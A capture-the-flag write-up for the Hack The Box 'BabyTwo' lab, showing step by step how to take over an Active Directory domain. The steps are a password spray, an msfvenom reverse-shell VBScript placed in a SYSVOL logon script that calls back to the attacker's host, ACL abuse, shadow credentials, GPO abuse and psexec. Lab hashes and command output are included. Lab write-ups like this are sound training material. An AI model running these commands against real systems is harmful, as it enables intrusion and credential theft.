HTB BabyTwo CTF Writeup
Guest SMB access exposes a homes share where a username-as-password spray yields valid credentials. A writable SYSVOL logon script is hijacked to capture a shell as Amelia Griffiths, whose BloodHound privileges chain through WriteOwner/WriteDacl over gpoadm — which holds GenericAll over the default domain GPO — to achieve domain compromise via pyGpoAbuse.
HTB BabyTwo CTF
Notes
Windows ADCS probably on the machine, since we see baby2-CA being mentioned here:
1
2
3
4
5
6
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Issuer: commonName=baby2-CA/domainComponent=baby2
| Public Key type: rsa
| Public Key bits: 2048
SMB Enumeration
Guest authentication is enabled:
Authenticated to the homes folder. Took note of every user in there and saved it to a users.txt file. Performed a password spraying attack against those users and found two valid credentials:
1
2
3
4
5
6
7
8
9
$ nxc smb dc -u users.txt -p users.txt --continue-on-success
<SNIP>
SMB 10.129.234.72 445 DC [+] baby2.vl\Carl.Moore:Carl.Moore
<SNIP>
SMB 10.129.234.72 445 DC [+] baby2.vl\library:library
Both “carl.moore” and “library” have access to additional shares in the system, and they also have more permissions over shares. Take carl.moore for example:
We now have access to the “docs” share, “sysvol” share and also write access over the “apps” share.
Failed Attempt - NTLM Theft
I used ntlm_theft to try and obtain some password hashes (I figured since I have write access now over a few shares, maybe a user will eventually hop on the share and execute my file):
1
python3 ntlm_theft.py --generate all --server 10.10.14.224 --filename malicious
I connected to the share and used “mput” to upload every malicious file to the “library” folder in the “homes” share:
1
2
3
4
5
6
7
8
smb: \library\> mput *
Put file desktop.ini? y
putting file desktop.ini as \library\desktop.ini (0.1 kb/s) (average 0.1 kb/s)
Put file malicious.lnk? y
putting file malicious.lnk as \library\malicious.lnk (4.4 kb/s) (average 1.6 kb/s)
Put file malicious.asx? y
<SNIP>
I did the same for the “apps” share and “docs” share, hoping it would work in at least one of them.
Then I used Responder.py to wait for conections:
1
# python3 Responder.py -I tun0
However, I waited a good 5 minutes and nothing happened.
Login Script
I connected to the “apps” share:
1
$ smbclient -U baby2.vl/library%library //dc/apps
In the “dev” folder, there are two files:
1
2
CHANGELOG
login.vbs.lnk
The vbscript file obviously raises more suspicion. I downloaded the file and inspected it using “stings”:
It mentions a login.vbs script in the sysvol share. I grabbed the script in there, and it seems like it’s just mapping shares:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Sub MapNetworkShare(sharePath, driveLetter)
Dim objNetwork
Set objNetwork = CreateObject("WScript.Network")
' Check if the drive is already mapped
Dim mappedDrives
Set mappedDrives = objNetwork.EnumNetworkDrives
Dim isMapped
isMapped = False
For i = 0 To mappedDrives.Count - 1 Step 2
If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
isMapped = True
Exit For
End If
Next
If isMapped Then
objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
End If
objNetwork.MapNetworkDrive driveLetter & ":", sharePath
If Err.Number = 0 Then
WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
Else
WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
End If
Set objNetwork = Nothing
End Sub
MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"
However, since it’s a “login” script and placed in sysvol, maybe if we can modify this script, we can get comand execution as whoever runs the file (generally autologon)
LDAP Enumeration
Using the credentials discovered earlier, I could enumerate LDAP using bloodhound:
1
nxc ldap 10.129.234.72 -u library -p library --bloodhound -c All --dns-server 10.129.234.72
I searched for the “remote desktop users” group, and clicked on “members”. I do this mainly because users in this group have RDP/interactive access to the machine, and I think it’s good practice to place them as “high value”.
The only member is “AMELIA.GRIFFITHS”. I put “high value target” to the user object in bloodhound (right click), and noticed something fairly uncommon:
As you can see from the screenshot above, AMELIA.GRIFFITHS has the logonscript attribute set, pointing to the script in SYSVOL.
Amelia also has some outbound privileges, including WriteOwner and WriteDacl over “gpoadm” user:
And the “gpoadm” user has GenericAll over the default GPO for the organization:
So first we gotta compromise Amelia to get to “gpoadm” so we can issue malicious policies to the GPO.
Lateral Movement - Hijacking Logon Script
Knowing about the logon script, I immediately used meterpreter to generate a malicious vbscript file:
1
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.224 LPORT=1234 -f vbs --arch x86 --platform win -o evil.vbs
I set up my netcat:
1
rlwrap nc -lvnp 1234
And used my credentials (library:library) to log in to the smb server on the SYSVOL share. I proceeded to navigate to the appropriate location:
1
2
3
4
5
6
7
8
9
$ smbclient -U baby2.vl/library%library //dc/sysvol
Try "help" to get a list of possible commands.
smb: \> cd baby2.vl\scripts\
smb: \baby2.vl\scripts\> dir
. D 0 Sun Sep 28 10:25:59 2025
.. D 0 Tue Aug 22 13:43:55 2023
login.vbs A 7472 Sun Sep 28 08:21:56 2025
6126847 blocks of size 4096. 1946350 blocks available
I uploaded my newly generated malicious vbscript (named “evil.vbs”) to overwrite “login.vbs” in the server:
1
2
smb: \baby2.vl\scripts\> put evil.vbs login.vbs
putting file evil.vbs as \baby2.vl\scripts\login.vbs (11.4 kb/s) (average 11.4 kb/s)
Immediately, I got a connection back as “amelia.griffiths”:
1
2
3
4
5
6
7
8
9
$ rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.224] from (UNKNOWN) [10.129.234.72] 64521
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
baby2\amelia.griffiths
Lateral Movement: amelia.griffiths -> gpoadm
I did transfer PowerView.ps1 to the machine, executed powershell and imported the module:
1
2
3
4
5
6
7
8
9
C:\Users\Amelia.Griffiths\AppData>powershell -ep bypass
powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\Amelia.Griffiths\AppData> Import-Module .\PowerView.ps1
Import-Module .\PowerView.ps1
Changed the owner of “gpoadm” to my user and also changed the password for the user:
1
2
3
4
5
6
PS C:\Users\Amelia.Griffiths\AppData> Set-DomainObjectOwner -Identity gpoadm -OwnerIdentity Amelia.Griffiths
PS C:\Users\Amelia.Griffiths\AppData> Add-DomainObjectAcl -TargetIdentity gpoadm -PrincipalIdentity Amelia.Griffiths -Rights All
PS C:\Users\Amelia.Griffiths\AppData> net user gpoadm Password123! /domain
The command completed successfully.
Recommended Method - Shadow Credentials
With the permissions we have, we could’ve used Whisker.exe to perform a Shadow credentials attack against “gpoadm”. It’s recommended this way, so we get access to the account without having to change its password. This would only be possible because ADCS is installed on the machine, though.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C:\Users\Amelia.Griffiths\AppData>.\w.exe add /target:gpoadm
.\w.exe add /target:gpoadm
[*] No path was provided. The certificate will be printed as a Base64 blob
[*] No pass was provided. The certificate will be stored with the password gD7AjJIEOrbT9xyG
[*] Searching for the target account
[*] Target user found: CN=gpoadm,OU=gpo-management,DC=baby2,DC=vl
[*] Generating certificate
[*] Certificate generaged
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID 4f1351db-be44-49dc-8f62-e87cdd7626f5
[*] Updating the msDS-KeyCredentialLink attribute of the target object
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] You can now run Rubeus with the following syntax:
Rubeus.exe asktgt /user:gpoadm
<SNIP>
And then use the provided syntax with Rubeus to get the NTLM hash for the user:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.3
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=gpoadm
[*] Building AS-REQ (w/ PKINIT preauth) for: 'baby2.vl\gpoadm'
[*] Using domain controller: fe80::74dd:dc1c:32d1:f078%3:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
<SNIP>
ServiceName : krbtgt/baby2.vl
ServiceRealm : BABY2.VL
UserName : gpoadm (NT_PRINCIPAL)
UserRealm : BABY2.VL
StartTime : 9/28/2025 8:31:49 AM
EndTime : 9/28/2025 6:31:49 PM
RenewTill : 10/5/2025 8:31:49 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : WPYr5RFKvsqxRJknAayNKQ==
ASREP (key) : C388BF2E1C6D005FC9D8CB7FE4A4061A
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : 2B576ACBE6BCFDA7294D6BD18041B8FE
The hash it provided is the hash for the password I already set, so this won’t work.
To get the actual password (after obtaining domain admin, steps below) I recovered the original NTLM hash for “gpoadm”:
1
baby2.vl\gpoadm_history1:1103:aad3b435b51404eeaad3b435b51404ee:51b4e7aee2fbdd4e36f2381115c8fe7a:::
That is;
1
51b4e7aee2fbdd4e36f2381115c8fe7a
So I could grab this hash and change the password of the user based on the hash, back to its original password.
To get the password history you can use secretsdump:
1
$ secretsdump.py -history baby2.vl/john:'H4x00r123..'@dc
Domain Compromise
I used pyGpoAbuse to issue a malicious policy to the vulnerable GPO:
1
2
$ python3 pygpoabuse.py baby2.vlgpoadm:'Password123!' -gpo-id 31B2F340-016D-11D2-945F-00C04FB984F9
[+] ScheduledTask TASK_823d3775 created!
The group policy ID can be found in bloodhound:
In the help page for the python tool, it describes how the default behavior is to create a new user called “john” and make it local administrator:
1
2
-command COMMAND Command to execute (Default: Add john:H4x00r123.. as local
Administrator)
With the new user created, I used psexec to get a shell in the victim as NT Authority System:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ psexec.py baby2.vl/john:'H4x00r123..'@dc
Impacket v0.13.0.dev0+20250710.92041.bf2d749 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on dc.....
[*] Found writable share ADMIN$
[*] Uploading file SFgfmOzz.exe
[*] Opening SVCManager on dc.....
[*] Creating service OKYL on dc.....
[*] Starting service OKYL.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Admin hash:
1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:61eb5125f9944214679c2d0fdca6eb82:::







